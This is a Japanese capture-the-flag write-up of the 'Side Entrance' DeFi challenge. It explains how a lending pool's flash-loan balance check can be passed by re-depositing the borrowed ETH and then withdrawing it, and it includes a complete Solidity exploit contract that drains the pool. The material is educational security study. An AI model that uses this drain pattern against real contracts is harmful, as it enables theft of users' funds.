Appearance
Side Entrance:イーサリアムの宝への抜け道?
チャレンジ背景
一見すると非常にシンプルなイーサリアムの資金プールを想像してください。誰でも自由に ETH を預け入れ、いつでも引き出すことができます。このプールには現在 1000 ETH が保管されており、さらにプロモーションの一環として 無料のフラッシュローン まで提供しています。
そしてあなたは挑戦者として、初期資産は 1 ETH。
目標はシンプルです:
👉 プール内のすべての ETH を奪い、recovery アカウントへ送金すること
このチャレンジは Side Entrance と呼ばれます。 一見すると単純な「入出金自由」の仕組みですが、
👉 「無料フラッシュローン」+「自由な入出金」
この2つの組み合わせが、致命的な脆弱性を生み出します。
コントラクト解析:SideEntranceLenderPool.sol
■ deposit()
- ETH を預け入れる
balances[msg.sender]に加算される
■ withdraw()
- 自分の残高をすべて引き出す
- 残高は 0 にリセットされる
■ flashLoan(uint256 amount)
フラッシュローンの流れ:
- 借入者の
execute()を呼び出す(ETH付き) - 処理終了後、残高をチェック
- もし減っていれば:
👉 RepayFailed() エラー
「サイドエントランス」の正体
重要なポイント:
👉 返済チェックは execute() の後に行われる
つまり:
👉 execute() 実行中は自由に操作できる
脆弱性の本質
execute() 内で:
👉 借りた ETH を deposit() で再入金 できる
すると:
- プールの総残高 → 減らない
- 返済チェック → 通過
しかし:
👉 内部的には自分の残高として記録される
攻撃手順
1. 攻撃コントラクト作成
IFlashLoanEtherReceiverを実装execute()を定義
2. execute() の処理
solidity
target.deposit{value: msg.value}();
👉 借りた ETH をそのまま預け直す
3. exploit 実行
ステップ:
- フラッシュローンで全額借入
solidity
target.flashLoan(address(target).balance);
- execute 内で deposit
👉 返済チェック通過
- withdraw 実行
solidity
target.withdraw();
👉 自分の残高として全額引き出し
4. 最終送金
solidity
Address.sendValue(_recovery, address(this).balance);
完全コード
solidity
contract MyContract is IFlashLoanEtherReceiver {
SideEntranceLenderPool private immutable target;
constructor(address _target) {
target = SideEntranceLenderPool(_target);
}
function execute() external payable {
target.deposit{value: msg.value}();
}
function exploit(address payable _recovery) external {
target.flashLoan(address(target).balance);
target.withdraw();
Address.sendValue(_recovery, address(this).balance);
}
receive() external payable {}
}
攻撃の結果
- フラッシュローンは「正常に返済された」と判断される
- しかし実際には:
👉 全ETHが自分の残高として記録される
👉 その後すべて引き出し可能
重要ポイント
- フラッシュローンの返済チェックは“残高”のみ
- deposit は返済としてカウントされる
- 内部会計と実残高のズレ
- withdraw による資金回収
本質的な問題
この脆弱性は:
👉 「返済」と「預金」の区別がない設計ミス
結論
Side Entrance チャレンジは、次の教訓を示しています:
- フラッシュローンの検証は慎重に設計すべき
- 内部状態と実際の資産の整合性が重要
- 「正常に見える動作」こそ危険
👉 正面からは守られていても、 👉 側面(Side Entrance)から突破される
これが DeFi セキュリティの本質です。